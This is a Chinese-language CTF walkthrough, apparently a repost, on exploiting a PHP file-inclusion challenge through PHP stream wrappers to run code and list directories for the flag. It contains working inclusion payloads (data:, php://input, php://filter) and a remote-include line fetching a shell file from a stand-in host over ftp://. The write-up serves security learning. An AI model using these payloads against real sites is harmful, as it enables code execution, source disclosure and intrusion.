CTF 文件包含與偽協議


正巧在寫代碼審計的文章,無意間看到了一篇CTF的代碼審計,CTF題目很好,用的姿勢正如標題,文件包含和偽協議。

先放出原文鏈接(http://www.freebuf.com/column/150028.html)

題目源自國外某挑戰平台,平台上還有許多其他有趣的challenges題目。

站點地址:http://chall.tasteless.eu/

這次的題目鏈接:http://level3.tasteless.eu/

下面就做題吧。

首先看下源碼

<?php
highlight_file('index.php');
/*
view file: php.ini
so here is my hint: the included php.ini file is part of the configugartion file used on the server the bug was found.
so there will be something in it which enables you to solve this level, wont?

always be UP TO DATE!

hint enough, might just take you seconds to do?!
*/
error_reporting(0);
include('anti_rfi.php'); //rfi is forbidden!!!!!

$inc = @$_GET['file'];
@require_once($inc);
?>

源碼給的很直接,不像某些CTF的比賽,WEB題目都能整成密碼題目,美名其曰解密出源碼,套路很深(吐槽)

分析一下上面的代碼

1,highlight_file() 函數對index.php文件進行語法高亮顯示。

2,包含了anti_rfi.php,並提示不允許進行遠程文件包含

3,使用require_one包含了GET請求的file參數。

4,注釋的提示信息:要讀取PHP.ini ,里面有敏感信息

現在思路已經很明確了,首先讀取php.ini和anti_rfi.php

首先來看一下php.ini,直接打開鏈接(http://level3.tasteless.eu/php.ini),ctrl+f 搜索allow

 

 

從php.ini中得到了allow_url_include是on的狀態,所以可以使用PHP偽協議執行代碼,可以使用php://input的協議,成功執行了代碼。

 

 

 

此時需要獲取站點的目錄信息,由於allow_url_fopen是為off的狀態所以無法使用遠程文件包含執行命令了,也就無法直接用菜刀去連接並尋找flag,

但是已經知道網站的根目錄/var/www/chall/level3

因為限制了命令執行的函數,所以不能夠執行系統命令

失敗

失敗

 

但是PHP的scandir()函數會將當先目錄下的目錄結構以數組的方式保存

<?php print_r(scandir('/var/www/chall/level3'))?>

 

看到了th3_f14g文件,直接訪問:http://level3.tasteless.eu/th3_fl4g

成功得到flag

題目就這樣做完了,雖然題目不是很難,但是用到的技巧很是高妙。

他們的一個總結:

解題過程大致有如下3步驟:

1.分析站點給出的源代碼

2.判斷allow_url_fopen,allow_url_include的開啟狀態,來推測可以使用的偽協議

3.使用相應的偽協議執行代碼獲取flag

當無法判斷allow_url_fopen,allow_url_include的開啟狀態時,可逐一嘗試如下的請求判斷哪些能夠執行,如果有上傳功能那么可能是考phar或zip等壓縮流的知識點。 

PHP 讀文件和代碼執行的方式:

1.?file=data:text/plain,<?php phpinfo()?>

2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

3.?file=php://input [POST DATA:]<?php phpinfo()?>

4.?file=php://filter/read=convert.base64-encode/resource=xxx.php

 

雖然本題allow_url_fopen是off的狀態,所以是無法使用遠程文件包含的,如果是ON的話就需要使用文件包含讀取anti_rfi.php文件,查看文件中的源碼了。 

如,使用http://level3.tasteless.eu/index.php?file=php://input     

<?php highlight_file(‘anti_rfi.php’)?>

讀取anti_rfi.php文件的源碼信息。

從源碼中可以看到使用了正則匹配http://, data 匹配到了,返回hacker detected,但是並沒有匹配ftp://所以使用ftp://也是一個思路。

當allow_url_fopen=On並且 allow_url_include=On時,就可以使用ftp。payload:index.php?file=ftp://www.shell.com/shell.txt

就到這里了,任重而道遠。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM